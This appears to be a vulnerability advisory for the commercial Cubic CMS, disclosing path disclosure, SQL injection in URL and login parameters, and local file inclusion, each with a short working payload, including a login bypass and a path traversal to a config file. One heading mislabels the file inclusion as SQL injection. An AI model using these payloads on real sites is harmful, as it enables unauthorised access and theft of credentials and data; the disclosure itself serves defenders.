Cubic CMS SQL Injection / LFI / Path Disclosure

`I. BACKGROUND  
-------------------------  
"CUBIC CMS" is a non-free content management system for websites and   
portals of any size, powerful, adaptable to any graphic design that   
allows users administration 100% professional but simple at the same   
time that website.  
  
II. VULNERABILITIES  
-------------------------  
  
II.i FULL PATH DISCLOSURE  
-------------------------  
CUBIC CMS presents a full path disclosure in the 'Controller Not Found'   
exception management, due to an incorrect 'Software Exception' management.  
  
Syntax:   
http://www.example.com/id/-22  
http://www.example.com/foo.bar  
  
II.ii SQL Injection  
-------------------------  
CUBIC CMS presents a SQL Injection in its 'resource_id' and 'version_id' parameters   
on his '/recursos/agent.php' (Resources Management Module) script via GET HTTP   
Method, due to an insufficient sanitization on user supplied data.  
  
Syntax:   
http://www.example.com/recursos/agent.php?resource_id=-11 OR 'foobar' UNION SELECT user()-- -  
http://www.example.com/recursos/agent.php?version_id=-22 OR '' UNION SELECT @@version-- -  
  
II.iii SQL Injection  
-------------------------  
CUBIC CMS presents a SQL Injection in its 'login' and 'pass' parameters on his   
'/login.usuario' (Users Management Module) script via POST HTTP Method, due to an   
insufficient sanitization on user supplied data.  
  
Syntax:   
login=Administrator&pass=foobar') or ('1'='1  
  
II.iv Local File Inclusion  
-------------------------  
CUBIC CMS presents a SQL Injection in its 'path' parameter on his   
'/recursos/agent.php' (Resources Management Module) script via GET HTTP Method,   
due to an insufficient sanitization on user supplied data.  
  
Syntax:   
http://www.example.com/recursos/agent.php?path=/../../application/config/project.ini  
  
IV. REFERENCES  
-------------------------  
http://www.proyectosbds.com  
http://www.cubicfactory.com/  
  
V. DISCLOSURE TIMELINE  
-------------------------  
- March 28, 2012: First Vendor Contact.  
- Dec 30, 2013: Second Vendor Contact (Still waiting for responses).  
  
VI. CREDITS  
-------------------------  
This vulnerability has been discovered  
by Eugenio Delfa <ed (at) isbox (dot) org>.  
`